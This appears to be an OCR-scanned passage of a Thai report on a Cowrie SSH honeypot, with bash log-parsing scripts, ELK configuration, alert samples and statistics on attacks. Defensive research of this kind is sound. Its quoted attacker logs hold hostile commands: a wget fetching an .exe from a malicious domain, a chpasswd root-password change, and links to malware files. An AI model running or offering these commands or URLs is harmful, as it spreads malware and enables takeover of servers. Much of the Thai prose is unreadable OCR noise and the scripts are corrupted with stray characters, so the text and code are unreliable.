${CHOME}/script/getlog.sh ${YHOUR} ${NHOUR}
${CHOME}/script/check_login.sh ${NHOUR}
${CHOME}/script/check_cmd.sh ${NHOUR}
${CHOME}/script/check_suspectfile.sh ${NHOUR}

A7 10 arsuddmsuTIvTImdeyatuiindaiu
4.3.3.2 aasuddmsudnguuuudayatuiindanu

d' a 6o LYY ¥ v = o & A
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. /home/cowrie/script/config.txt

#PLOGC=/home/cowrie/cowrie/var/log/cowrie

#PLOGS=/home/cowrie/logme

#echo $PLOGC

#echo $PLOGS

YHOUR=%1

NHOUR=$2

#echo $YHOUR

#echo $NHOUR

LOGC=cowrie.log

LOGS=sum_cowrie_ ${NHOUR}.log

LOGT=sum_tmp_login_${NHOUR}.log

LOGL=sum_login_${NHOUR}.log

LOGCMD=sum_cmd_${NHOUR} . log

LOGTCMD=sum_tmp_cmd_${NHOUR}.log

cat ${PLOGC}/${LOGC}|grep ${YHOUR} > ${PLOGS}/${LOGS}

cat ${PLOGS}/${LOGS}|grep "SSHService 'ssh-userauth' on HoneyPotSSHTransport"

cat ${PLOGS}/${LOGS}|grep "login attempt"” > ${PLOGS}/${LOGT}

sed -i 's/\[//g' ${PLOGS}/${LOGT}

sed -i "s/\]//g"' ${PLOGS}/${LOGT}

sed -i 's/\,/ /g' ${PLOGS}/${LOGT}

sed -i 's/\// /g' ${PLOGS}/${LOGT}

awk ‘{print $1,$7,$10,$11,$12}" ${PLOGS}/${LOGT} > ${PLOGS}/${LOGL}

rm ${PLOGS}/${LOGT}

cat ${PLOGS}/${LOGS} |grep "CMD" > ${PLOGS}/${LOGTCMD}

cat ${PLOGS}/${LOGTCMD}|awk '{$2=""; print}'|awk '{$2=""; print}' > ${PLOGS}/${LOGCMD}
cat ${PLOGS}/${LOGTCMD}|awk '{$2=""; print}'|awk '{$2=""; print}' > ${PLOGS}/${LOGCMD}
cat ${PLOGS}/${LOGTCMD}|awk '{$2=""; print}'|awk '{%$2=""; print}' > ${PLOGS}/${LOGCMD}
cat ${PLOGS}/${LOGTCMD} |awk '{$2=""; print}'|awk '{sub("]","",$2);print}' > ${PLOGS}/${LOGCMD}
cat ${PLOGS}/${LOGTCMD}|awk '{sub(",","",$2);print}"'|awk "{sub(","," ",%$2);print}"

cat ${PLOGS}/${LOGTCMD}|awk '{$2=""; print}' > ${PLOGS}/${LOGCMD}

rm  ${PLOGS}/${LOGTCMD}

~ a 6o v v £ v 2 v &
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getlog.sh 9L3UA1TVNNULLE main_monitor.sh vﬁﬂ’mﬁumumm’fmga
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witndatiuilunieusesnan setlog.sh Snihnlunsdagluuudeyatuiindaiulu Tng
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8 JufindmAunisidagszuu (login.log) waztufindmAumds (cmd.log) Aauandlunind

o))

12 WAL NN 13 ANUaIRY

2019-11-27704:12:04.140782 104.248.90.77 admin password succeeded
2019-11-27710:59:15.564027 184.22.235.210 root 12345 failed
2019-11-27T11:34:25.371225 184.22.235.210 root 123456 failed
2019-11-27718:14:11.610372 95.157.63.185 root root failed
2019-11-27T718:56:26.167819 95.157.63.185 root password succeeded

A 12 segndeyatuiindanunsidngssuy

2019-11-27T05:08:15.410211 104.248.90.77 CMD: echo "root:60JakdMIOUTA" |chpasswd|bash
2019-11-27705:19:28.528672 104.248.90.77 CMD: echo "321" > /fvar/tmp/.var®3522123
2019-11-27T18:58:26.283948 95.157.63.185 CMD: w

2019-11-27T18:58:26.283944 95.157.63.185 CMD: wget http://flashpointy.xyz/panel/testl.exe
2019-11-27711:59:41.316927 95.157.63.185 CMD: cd /

Al 13 fegadayatuiindanued
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4.3.3.3 gasuddmiunsiadumsidigssuy

Al 14 wansansUddmiuasadunsidingszuudein check login.sh
Fsaziiuvianuile getlog.sh imsdnguuuuteyatufindaiuidy 2 sUwuuisuSeuies
ué Ingluarsusiasiansdogatuiindaifiunisdigszuu (oginlog) wild Lilensaaaoy
anurnslingszuuYeaiungn vAnUaNLE A TN srUUA e szuvarYnsudaioulud
AAUATEUY

. /home/cowrie/script/config.txt

NHOUR=$1

LOGT=sum_tmp_login_${NHOUR}.log
LOGL=sum_login_${NHOUR}.log

TXTA=alert_admin_${NHOUR}.txt

cat ${PLOGS}/${LOGL} |grep "succeeded" > ${PLOGS}/${TXTA}
ALOG="cat ${PLOGS}/${TXTA}|wc -1

if [ ${ALOG} -gt @ ]

then
echo -e "${DMAIL1}$(head -10 ${PLOGS}/${TXTA})${TMAIL1}" | mail -a ${PLOGS}/${TXTA} -s "${SMAIL1}" ${UMAIL}
curl -X POST -H 'Authorization: Bearer '"$TOKEN"'' -F 'message='"$LMSGL"''"$(head -10 ${PLOGS}/${TXTA})""'"
https://notify-api.line.me/api/notify
fi

A9 14 gAUAEMIUNTIIUNM NG sEUY

4.3.3.4 dASUAFINSUNTINIUAIEINISLAUR

a & o (% % o o A ! a o d‘
An3UAFINTUNTRIUAIAINLANATITDI1 check cmd.sh Agt5uvIN9ULD

[

getlog.sh nsdaguuuudeyaduiindaiuidu 2 suuuvuiseusesudn Tnsluansusiasly

Y
L =4 [

ngdoyatufindaiuads (cmd.log) tietrArdwnduunngudrdanisland was

[

Jaguuuutuiindaiulng Tneszyiavdrsdanquadliuiineduiiusnvestoyatufindmiu ¢

WAASUNINT 15

4 2019-11-27T85:08:15.410211 104.248.90.77 CMD: echo "root:60JakdMIQUTA" |chpasswd|bash

4 2019-11-27705:19:28.528672 104.248.90.77 CMD: echo "321" > /var/tmp/.var@3522123

1 2019-11-27T18:58:26.283940 95.157.63.185 CMD: w

3 2019-11-27T18:58:26.283944 95.157.63.185 CMD: wget http://flashpointy.xyz/panel/testl.exe
1 2019-11-27T11:59:41.316927 95.157.63.185 CMD: cd /

AT 15 fegadeyatuiindmnumd i sT LU guLa7
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. /home/cowrie/script/config.txt
NHOUR=$1
LOGCMD=sum_cmd_%${NHOUR} . log
LOGICASE=incase_tmp_ %${NHOUR}.log
LOGNCASE=newcase_tmp_${NHOUR}. log
LOGCASE1=sum_casel %${NHOUR}.log
LOGCASE2=sum_case2 ${NHOUR}.log
LOGCASE3=sum_case3 ${NHOUR}.log
LOGCASEA=sum_cased_%${NHOUR}.log
LOGCASES5=sum_case5 ${NHOUR}.log
LOGCASE6=sum_case6_${NHOUR}.log
LOGCASE7=sum_case7_ ${NHOUR}.log
TXTC=alert _case7 ${NHOUR}.txt

cat /dev/null > ${PLOGS}/%${LOGCASE1}

cat /dev/null > ${PLOGS}/%${LOGCASE2}
cat /dev/null > ${PLOGS}/%&{LOGCASE3}
cat /dev/null > ${PLOGS}/%{LOGCASEA4}
cat /dev/null > ${PLOGS}/%{LOGCASES}
cat /dev/null > ${PLOGS}/%{LOGCASE6}

cat /dev/null > ${PLOGS}/%{LOGCASE7}
cat ${PLOGS}/${LOGCMD} |while read cline
do
echo "${cline}"|awk '{print $4}' > /dev/null
if [ $? -eq @ ]
then
CMD1="echo "${clinel}"|awk '{print $4}'w
cat ${CHOME}/script/rule.txt|grep -w ${CMD1}
if [ $? -eq @ ]

then
CMAP="cat ${CHOME}/script/rule.txt|grep -w ${CMD1}|awk -F '|' "{print $2}"
CNUM="cat ${CHOME}/script/rule.txt|grep -w ${CMD1}|awk -F '|' '{print $1}'°

case ${CNUM} in

1) echo "1 $cline” »> ${PLOGS}/${LOGCASE1} ;
2) echo "2 $cline” »> ${PLOGS}/${LOGCASE2} ;
3) echo "3 $cline” >> ${PLOGS}/${LOGCASE3} ;;
4) echo "4 $cline” >> ${PLOGS}/${LOGCASE4} ;;
5) echo "5 %cline" >> ${PLOGS}/${LOGCASES5} ;
6) echo "6 $cline” »> ${PLOGS}/${LOGCASE6} ;

esac

else

"N

-

"N

[

echo "7 $cline" >> ${PLOGS}/${LOGCASE7}
echo "$cline" >> ${PLOGS}/${TXTC}
fi
fi
done

= a |0  w v o a
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1|1s

1| pwd
1|cd
1|ifconfig
1|ping
1|we

1| gawk
1|ps

1|nl
1|netstat
1|dir
1|printf
1|groups
1|who

1|lw

1|df

1]id
1|dmesg
1|ps
1|grep
1|cat
1|uname
1|which
1|uptime
1| free
1|top
1|du
1|egrep
1|exit
1|locate
1|find

1| finger
1|whoami
1|history
1|iptables
1| logname
1|who|

2| yum
2|apt-get

A9 17 degnanguitseyluldng
4.3.3.5 dasunansunstadauinaounse

ansuddmiunsiraoulndsunsalivoin check suspectfile.sh Aanens

Tunmi 18
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NHOUR=$1
LOGCMD=sum_cmd_${NHOUR}. log
LOGTMAL=sum_tmp_malware_${NHOUR}.tmp
LOGMAL=sum_malware_${NHOUR}.log
LOGVTOTAL=chk_tmp_virustotal.log
TXTM=url_malware_${NHOUR}.txt
cat ${PLOGS}/${LOGCMD}|grep "http://" > ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep "https://" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep "www.//" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".exe" > ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".pdf" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".jpg" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".png" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".psd" > ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".ai" > ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".doc" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".x1ls" > ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".ppt" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".txt" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".zip" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".rar" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".avi" > ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".mp3" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".mov" >> ${PLOGS}/${LOGTMAL}
cat ${PLOGS}/${LOGCMD}|grep ".mpa" >> ${PLOGS}/${LOGTMAL}
if [ -s "${PLOGS}/${LOGTMAL}" ]
then

echo "File Log has some data.”

cat ${PLOGS}/${LOGTMAL}|while read cline

do

echo "${cline}"|awk '{print $8}"

if [ $? -eq @ ]

then
echo "${cline}" |grep "http://"
if [ $? -eq @ ]
then
FLAG="http://"
URL1=""echo "${cline}" |grep "http://"| awk -F 'http://' '{print $2}'
|awk '{print $1}'|awk -F '|' '{print "http://"$1}' ™"
fi

AN 18 ansufamsunsidaulnasunse

check_suspectfile.sh agisuinnuliensianulidvsegorsuoanissuoy

TuAnds 1u A& weet http://flashpointy xyz/panel/testl.exe 91nUUaATUAILYIINTT
Senldahisalnneaieiile (VirusTotal API) Wudds CURL Tnglisalnneaagvimiily
nsdnaeenIsAntluan Anndlild vienaaeugorsuealuamniindeuialouaseiizendn
L s < v ! < [ = ! 3
uwguadend (Sandbox) MntuliFalnmeaszdinanismeaeuilusissunduaniseuuld

=] 4 = [ [ ! = ! ! [ & A s LY

wsegensueannuiludunseressuunsall vinnuinlulwdviegensueadunsie aely

S1891UETEUIN “detected” true HININA 19

]
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"detail": "http://flashpointy.xyz/panel/testl.exe"

"Sophos" : {"detected" true, "result": "malicious site"}

"Kaspersky" : {"detected" true, "result": "malware site"}
"Bitdefender" : {"detected" true, "result": "malicious site"}
"Google Safebrowsing” : {"detected" true, "result": "malicious site"}

NN 19 fegesienuanhisalnmea

Wielifalnneadwasenunduin ansudagyiimsduiinsenulusliuy

[

vaatuiindanulagdmuneglusduuulvg wansdenind 20 welvieglusuiuuiianunse

lUAiasigvisions ELK Stack la uagvimsudadeuluidauassuulinsiaaey

Date IPAddress URL Result

2019-11-27T18:12:42.535020 51.255.197.164 https://github.com/ytisf/theZoo/blob/master/prep_file.py malware site
2019-11-27T718:21:10.401290 107.170.244.110 https://www.ikarussecurity.com/wp-content/eicar_com.zip malicious site
2019-11-27T18:37:56.909783 189.19.173.95 http://butenrestold.com/1s5/forum.php phishing site
2019-11-27T18:58:26.283944 95.157.63.185 http://flashpointy.xyz/panel/testl.exe malware site

2NN 20 ﬁ"sasngmwuﬁuﬁﬂ%’mﬁﬂm

d‘ (v o ] & A I3 U v o & @ 6
Wesannhialnneassvinsdsliaviayensueadesasdeluhusundeond
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HUaN8LA30UNWeUALISH (Antivirus Engines) Fausaziasedneiiafiondlunisisentelisa
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Awnna1eiu 1w lewea (Sophos) T¥mnladaidea (Malicious) uauaaiUasan (Kaspersky)
1¥A1sfawas (Malware) Faunasdniaisusesadideainnununsmioudurodulng
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Kibana Stack) Iagtuneaulunisirteygatiuiindaiu (Log) 11As1e
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4.3.4.1 Yumpunsihdedoyatuiindaiiu
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TudumauilazdasinddauatiuiindmAuainasassutinandswiias U

Y

¥ v =2

LASDITNDSALTSNIBDS HIUTONALISNLUTDI Filebeat ¥4 Filebeat V1@ 9Uauav Uy
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Jouiuvianun Ineivuadunig (Path) Tunisdsvesdayatufindauluda Logstash Nfnss
' A o € ac g A M oA 3 o A
agngluiaiesineinigsnesinuavieglon (IP address) uagwainvuneiay 5044 ¢iaf
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filebeat.inputs:

- type: log
enabled: true
paths:
- /home/cowrie/logme/sum_login_*.log
fields_under_root: true
fields:
tags: ["check_login"]
- type: log
enabled: true
paths:
- /home/cowrie/logme/sum_case*.log
fields_under_root: true
fields:
tags: ["check_cmd"]
- type: log
enabled: true
paths:
- /home/cowrie/logme/url_malware_*.txt
fields_under_root: true
fields:
tags: ["check_malware"]

N a & o £ 1Y L= Y =3
Nun 21 ﬁﬂiﬂ@ﬂ?%ﬂﬂLﬁUV}Nﬂ?iﬁﬂﬂ@yjaUUWﬂ"ﬂG]Lﬂ"U

output.logstash:
# The Logstash hosts
hosts: ["16.128.0.3:5044"]

q‘ a | 6o A M a s , v v = o @
QNN 22 aﬂi‘ﬂﬁﬂTﬁu@LasUVl@%VLE’]WLLaSvm']ULamW@ﬁ@IUﬂqﬁﬂﬂsUaﬁqua‘UuVlﬂﬁ]ﬂLﬂU

4.3.4.2 Yumaun15IngURUUTayatuiindany

[

Tupautlayldgonauls Logstash lun1ssudeua wazdnjuiuureidaya

Tngvinisudasdayatuiindanulidugluuunilasadne wslideyaduiindaivaiuse

devantivanggunuy melu Logstash uusnisviraueeniliu 3 d@w nanfe

1. duvean1sudn (Input) imthilun1siudeyaain Filebeat H1u

NOSANUNULAY 5044 AILEAIIUNNA 23

input {

tep {
port => 5044 }
¥

a1l 23 dvesnsiddeyatuiindaiu
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2. duvean1sdnguuuu (Filter) vimhilunsdnguuwuudeyaindn v duy
sUnvunlassasaiiedeeendeyatuiindmiuidu 3 suuuu leun
- Jayatuiindafiunisdigseuy
Tayatufindaiumdenisiaus
=2 o [ (Y
- Jayatuiindaiulnddunsiy

uATeilladdeyans 3 sUuuudIRuNYIINITIRgULUUNITNA 3 dau

ieudastoyalidusuuuuniilaseadne leun 1) dauvesnisimuatensau 2) duveinis

WUaIA1LIa wae 3) diuveanisssyieganniavieglon dauandluning 24

filter {
if "check login™ in [tags] {

csv {
columns => ["Time","IPAddress","Username","Password","Status"]

separator => " "

¥

date {
match => [ "Time"™, "UNIX" ]

target => "time"
¥

ip2location {
source => "IPAddress"

¥

} else if "check cmd" in [tags] {

csv {
columns => ["Case","Time","IPAddress","cmd"]

separator => " "

¥

date {
match => [ "Time"™, "UNIX" ]

target => "time"

¥

ip2location {
source => "IPAddress”

¥

} else if "check malware" in [tags] {
csv {
columns => ["Time","IPAddress”,"URL","Vendor","Result"”]

separator => "|"
¥
date {
match => [ "Time"™, "UNIX" ]
target => "time"

¥

ip2location {
source => "IPAddress”

¥

a ] LY ¥ v X v &
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3. dvean1sdeean (Output) viwthilunisdseenteayadnn Logstash

v A

LUds Elasticsearch Iagiinsinvuanwil (index) vesdeyanoudieesn wazlunisdioanasyin

NNTEINHNIUNDTAYNELAY 9200 AINLEATIUATNT 25

output {
it "check login" in [tags] {
elasticsearch {
hosts => ["localhost:9200"]
sniffing => true
manage_template =» false
index => "analysis login"
¥
stdout { codec => rubydebug }
} else if "check_cmd" in [tags] {
elasticsearch {
hosts => ["localhost:9200"]
sniffing => true
manage_template => false
index => "analysis_cmd"
¥
stdout { codec => rubydebug }
} else if “"check_malware™ in [tags] {
elasticsearch {
hosts => ["localhost:9200"]
sniffing => true
manage template => false
index => "analysis malware"

¥
stdout { codec => rubydebug }

Al 25 duresnisaseandayatuiindmiu

) < v v o= v &
4.3.4.3 %uﬁauﬂqiLﬂU§’JU§'}ﬂ°Uaﬂda‘uu%ﬂﬁ]ﬂlﬂu

& & v ¢ ¢ . ° Y al o @

Junoutlazlduonduas Elasticsearch viminlunsdaiu s7uTu uae
ayUdeyaiiiounuuans Inevinisiiuteyalvegluguuuuiady (JSON: JavaScript Object
Notation) Faluusuunnsgiudeyaildanuladte viliawisasudadoyalivainany

s Y 1 @ v [ [ d'
IRV RREY @3981@ﬂ?ﬁLﬂU%@HﬂINEU%UlﬂQﬁU FaLERILUAINA 26
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"@timestamp”: "2019-11-26T18:23:17.218Z2",

"Username”: "administrator”,
"offset™: 267,
"input”: {

"type": "log”
¥
"prospector”: {

"type": "log"
+
"source”: "/home/cowrie/logme/sum_login_2819-11-26_89.log",
"@version”: "1",
"meta”: {

"cloud” : {

“instance_name”: "centos-7-1",

“availability_zone": "projects/574377481468/zones/us-centrali-a”,
“project_id": “"beaming-surfer-258717",
"machine_type”: "projects/574377481468/machineTypes/nl-standard-1",
"instance_id": "3889245616474660922",
"provider”: “"gce”
}
+

"Password”: "admin”,
"host": {
"name”: “"centos-7-1",
"containerized”: false,
"architecture”: "x86_64",
"id" : "858bBc5236a18ecal3eabd4976f4chB72a",
"os": {
“name” : "Cent0S Linux",
"platform”: "centos”,
“codename”: "Core”,
“family" : "redhat”,
"version”: "7 (Core)”
}
¥
"Status”: "failed”,

PN Y 1 @ Y o
AINN 26 ﬁﬂﬂﬂﬂﬂﬂﬂiLﬂUﬂ@HaiugﬂuUiﬂﬂﬁu

4.3.4.4 YumpunsuansNatayatuiindanu

Tupautlaldganduis Kibana vivnihiilun1sfadeyaain Elasticsearch

Fulunannavuntnaseumaivlesd dasandluning 27
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Count

@timestamp per 30 seconds
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4.3.5 NISLAWABUTEUU

msudafouszuunusesndu 3 sUuuu laud nisudadounisidngssuu n1suds

LWADUAIAINTITIANA warn1shInaulnasumnsie Felisieazidunnsmalull

4.3.5.1 nMsudafaunsidigszuuy

v 4'

N1%IeLAoUNITIETEULAEINISUI LUl uass Uy lony

anuznsdngszuuiidniavesdunin Wneduunnisududouseniu 2 Yeama liun

1. WAFABUNIUBA (E-mail) Aawanstuning 28 Taeisunldanuniulnasd

6

Tind (Postfix) FuduwininauussuuyfuRnsaund (Linux)

[No Reply] Security alert (Unknown user access to server)!!! inbox x

attacker.alert@gmail.com
tome =

Dear Admin,

We found a successful login from an unknown user. Please give an in-depth check on this issue.
In more detail, please review the attached documents

2019-11-27T09:29:05.359714+0000 49.230.106.21 root password succeeded

Best Regards,
Monitoring System

*** This is an automatically generated email, please do not reply. ***

B alert_admin_2019-.. 4

AN 28 ADEIINTITHAILFADUNIUDLLA
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2. uaaideunulal (Line) sianansluning 29 Taesunldaruniuiv

wosiavedlall snuaziduntandlun1muuIn 9

@ LINE Notify
Robot Monitor: Hi Admin. We found a successful login from an unknown user. *** Please check detail in your email. ***
2019-11-28T02:58:20.108660+0000 27.69.242.187 root password succeeded

@ LINE Notify
Robot Monitor: Hi Admin. We found a successful login from an unknown user. *** Please check detail in your email. ***
2019-11-28T11:38:57.471747+0000 41.66.239.133 admin password succeeded

Al 29 fegrnsudasieuinulatiieduninidndszuudnsa

4.3.5.2 N15LAUAIUAIHINITLAUR

v -

Yy A o a ° Y oA ~ o o
ﬂ’liLLf\NLmQUﬂ’lﬂﬁﬂ’lﬂf\mm%‘V]’lﬂ’lﬁLLﬁNLG]EJUIUVIQQLL@%%UU LUBDNUANEN

=

a oA L= o o P ' o 14 ) |
mﬂamiunqw 7 ﬂi@ﬂWﬁQIWNVIIMLQSWUNWﬂEJu TagduunnIshasAaueanily 2 Y8919

TAWA 1. LAWFBUNIUDLLE AININT 30 wag 2. kasfounulail (Line) #an1nd 31

[No Reply] Security alert (Detect New Command)!!! inbex

attacker.alert@gmail.com
tome =

Dear Admin,

We found a new attack command that does not match with a rule file. Please give an in-depth check on this issue then specify this case in the rule file.
In more detail, please review the aftached documents.

2019-11-25T05:20:19.373922+0000 122.116.174.239 CMD: Iscpu | grep Model

Best Regards,
IMenitoring System

*** This is an automatically generated email, please do not reply. ***

B sum_case7 2019-... 4

PN ) 1 Yo | a P o o oA
AN 30 @]'J@EJ'Nﬂ'ﬁLL"NLm@quu@LNaLNaWUﬂqﬁﬂﬂ'@@Jﬂ 7

@ LINE Notify
Robot Monitor: Hi Admin. We found a new attack command that does not match with a rule file. *** Please check detail on your email. ***
2020-01-24T11:04:39.2367427 111.230.247.243 CMD: Enter new UNIX password:
2020-01-24T11:04:52.240761Z 111.230.247.243 CMD: Iscpu | grep Model

a ) | Yy oA | ¢ A o o oA
AN 31 (fnafﬂﬂﬂ'ﬁl,lﬂﬂLﬁ@quu‘laULﬂJ@WUﬂqaﬂﬂaﬁﬂJm 7
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4.3.5.2 nswaasiaulnddunsie

nswdnfeuliddunsearynsuiLieulundauaszuy Wensianulng
¥39E015U0adUNTIY NIUNTUIAADU 2 Yo Il 1. UILHOUKIUBIIA FanInil 32 uaz

2. Baasdpurulayl (Line) AINInd 33

[No Reply] Security alert (Malware Found)!!! inbox =

attacker.alert@gmail.com
tome =

Dear Admin,
We found Malware from attacker's command. Please give an in-depth check on this issue.
Check the below link for more detail.

URL : https /iwww virustotal com
In first page select check URL

Copy and paste a link below into a search box
URL link {Be careful, don't click the link just copy it).
2019-11-19T17:23:05.6323202|221.181.24.246|hiip./systemservice hidns ru/bin.sh|Kaspersky|malware site

2019-11-19T17:23:05.6323202|221.181.24.246|hitp./isystemservice. hidns.ru/bin.sh|CROF |malicious site
2019-11-19T17:23:05.6323207|221.181.24.246|hitp /isystemservice hldns ru/bin.sh|Sophos|malicious site

2019-11-19T17:23:05.6323202|221.181.24.246|htip ./

systemservice hidns ru/bin.sh|Fortinet|malware site

2019-11-19T17:23.05.6344902|221.181.24.248| http.//

systemservice.hldns.ru/bin.sh|Kaspersky|malware site

2019-11-19T17:23:05.63449027|221.181.24 246|http-//

systemservice hldns ru/bin sh|CRDF|malicious site

2019-11-19T17:23:05.6344907|221.181.24.246|http.//systemservice. hldns. ru/bin.sh|Sophos|malicious site

2019-11-19T17:23:05 6344907|221.181.24 248|http //

systemservice hldns ru/bin sh|Fortinet|malware site

Best Regards,
Ivionitoring System

*** This is an automatically generated email, please do not reply. ***

B url_malware_17.txt 4
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@ LINE Notify
Robot Monitor: Hi Admin. We found Malware from attacker's command. *** Please check detail on your email ***
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AN5AASITRAzUSEIUNE

Tuunilanan i fawuIn1giun1sHAT1EY USEUNE WaZLUINISIUNISANALLEYS T93]

svazldunnssalul

5.1 WUANINIFAATIHARS

NATeilewUnsieseieandu 3 sUUU Lol Amseiinanisidngseuu Taseving
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o

ANFINISIANE hazImszvinalndsunsie Felis1eazidensanalull

5.1.1 Jnszvinansidgszuy

5.1.1.1 Apsenverldau

wasanvimsnageudusseziig 10 Tu dWiduny fie 19013015104
FEUUTIVNA 98,625 518115 WURUNINLUIgseuud5ad1uau 1,538 518n15 uasfiduinad
91U 97,087 518M13 IneTerld 10 SuAUKINNTuLAMTUNTUNINTFUUVBIBIANT AILARS

Tupnsned 14

‘2{‘ d‘ 14 L L d’Q o U
#1319N 14 %@Eﬁ‘ﬁ 10 BUAULINNULNAINIUNITYNIN

Foffld Furuiiny
root 5,348
server 1,053
admin 1,046
Root 1,019
serverl 1,016
administator 1,005
r00t 993
system 981
testl 964
oracle 948
user 944
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ANNITIATIERIIFULanslrAuIRunsndulnainazndssuumede
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va & 1 oa v N A | v & = a A vy PN )
Al duAsuaY (Default) 3o Nimanndty faldy Fsarsvaniieansldvedldnanamde

(Weak Usernames) fiauansdasiisamanag (Word Cloud) Tunwii 35

ansible
teamspeak s test1
administator bt
apache user test
usuario OOt rOO admin mysql
daemon serveri SYS git
ostgres SEVET Root —
posig nproc ftpuser

ubuntu oracle

backup munin

hadoop

A9 35 sARATIALERTRKLIIgNNUNINER

Y

5.1.1.2 ATITHRTAARIU

J9aR1W 10 duduwsnAdenlddnsun1sungnssuLvedIIAns fuansly

AN 15 BAZISAAANIALUATNG 36

‘ﬂl LY ! e s ‘NIQ o g
#1997 15 %dNU 10 BUAUVLINNUYNAIVIUNITYUNIN

SRR Sruaudiny
admin 179
password 145
123456 98
123456789 84
12345678 78
123 59
nproc 51
1234 49
12345 42
root 29
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123456789 _ 12349678
nproc 123456

1234 123
root
AN 36 LISAARTIALAAITHANUTIQNNULNTTEN

nuideillaAununislaufsianu (Password Attack) 3 Uiuu loun

1. mslanfnuuinduwn3 (Dictionary attack) Wun1sdusaniuainlidi

IS o 6 1 Y d'
UNITIUTIUAIANNAN €) 10117 Aauanslunini 37

2019-11-13709:41:21.2722%0Z2 171.98.30.176 root appoirtee failed
2019-11-13709:41:22 5399517 171.98.30.176 root appraiser failed
2019-11-13709:41:22 5913032 171.98.30.176 root appraisal failed
2019-11-13T09:41:22.6012547 171.98.30.176 root approach failed

d‘ U 1 a o ! a (4 =)
A 37 fMeguMslaNAsHaRLwUUANT NS
2. mslaufiuuuugnnese (Brute-force attack) Lunisimsianiunnay

ululeesfmdnuslulsazndn sauansluning 38

2019-11-13T09:41:21.272290Z 171.98.30.176 root appointee failed
2019-11-13T09:41:22.5899517 171.93.30.176 root appraiser failed
2019-11-13T09:41:22.591303Z 171.93.30.176 root appraisal failed

2019-11-13T09:41:22.6012547 171.93.30.176 root approach failed

d' U 1 = v 1 s
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3. nstanfuuuleusa (Hybrid attack) WunisdiA1anndnduuisun
USuuge Imevihnsiiiunsewdeumdnyinieluamvaiiu Ineidmvaiudinsanumanedy

AILAAILUNINT 39
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2019-11-15T04:57:18.313060Z 111.59.93.76 root p@ssword failed
2019-11-15T04:57:19.543467Z 111.59.93.76 root p@55word failed
2019-11-15T04:57:33.076761Z 111.59.93.76 root p@sswird123 failed
2019-11-15T04:57:34.8246147 111.59.93.76 root p@55wOrd failed

AN 39 Aregnanistandsranuwuulausa
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2, ﬂﬁjmmaqﬁwﬁmﬁaam&y’QLﬂ%aﬁa (Attempt to install) 18

3. nguesAdaiieloudiedeya (Transfer Files) 16

4. ﬂ&jmmﬁﬁmﬁaLU?{EJuLLiJaﬁmga (Change Configuration) 510

5. nauYeIAdieBansedAiad (Taking Over the Server) 12

6. nauvaFdsTiRaNaIn (Error Case) 1

7. nauvasddslniiliineny (New Case) 190
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. ifconfig )
which |gcpy 3U° Y netstat

, fip S waet
uptimepJ X eChO Cat free
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exit sleep curl gunzip
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Count
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i Aunnsiu Wusiu
MIATIEigeswea (URL) 8uns1e endiaeannmd:

wget http://flashpointy.xyz/panel/testl.exe L8 ud1dslunisn1itilnanlnd

17 '
v a

testl.exe ’aﬂﬂqaﬁuaa http://flashpointy.xyz/panel/test1.exe AUIAAFINLATOT TI89U
nbifalnmeansianuingensueaninarnduganiweadunsny wazsidunislaufuuutiaws

Feannmi d3uansliiiutisnnuduiuding 4 melugensues
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\\%G‘, http://flashpointy.ru/panel/test1.exe
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Lv u‘“\\ //‘J“_“ E%

A 44 nsEnsNduRusueslay flashpointy

- = v e I3 = A

i 44 melunsuaninsiveslesanuduiusvesyeiswealuiiavelawu
(Domain Name) iievinelulpuuiigersueaniolnaduidudunsednvielal Fawui
melulawuu flashpointy.xyz dlauges (Subdomain) 41uau 4 Tawuu eun

1. mail.flashpointy.xyz

2. webdisk.flashpointy.xyz

3. discover.flashpointy.xyz

4. www.flashpointy.xyz

3 a2 o s o ¢ 13 @ o s o

wagnugesuaaildudawiidiuiu 10 gersuea ldadlvasidudawisduiu

7 I8 waznuiundsvesguninninsldsenldaugensweatl 2 waviiegledt (1P Address)

¢ 95.157.63.185 way 178.159.36.185 311 2 Lawiteglefiunanuszinasaide

d‘ o a a d‘
AN5199 17 A1V 19aLReAN1SBIlean e lulmwL

Folawuu flashpointy.xyz
Tauutioy q

ga15uaa 10
Iaaulnan 7
IuuNsBenly 2
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5.2 buUIN19N15USZLEUNS
5.2.1 N15UsZLUAULEES (Risk Assessment)

Junisiasandeaiduanudfyuesanudes eniisussimmsedesiuanu

Eeuraniu Ineuszunadlaainlan1anaziinAnulaee LasNansENuTBIAINULAS
5.2.1.1 Tannanazinannuides (Likelihood)

Ao annuduldlaaziiamnuidssnis o d9eranelmiinaudeniese
Joyauasnindduveteins nsussanalenanasiinanudesaiusoutsesndu 5 seau

faMN519N 18

- ¢ P a =
AT 18 LnaIN1sUsENNUloN1ENALLARAINLLEYS

SEAUAZILUY Tonafiaziinanudes
1 UeyuIn

2 1oy

3 Y1unNang

q g

5 GRFGTY

5.2.1.2 wanssnu (Impact)

& = A a X | 3
A9 ANULALVIENBIANATVY NITUTEUIUNANTENUEIUTOLUIBBNLUY 5

AU AIANSIN 19

= ¢
AN 19 LNAUNNNTUIEUIUNANTENU

FEAUAZUUY NANTENU
1 Uoyun
2 1oy

3 YuUnang
4 as

5 geunn
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Tomafiazifannudes
1 2 3 q
5 5
q 4 8
NANTENU 3 3 6 9
2 2 4 6 8
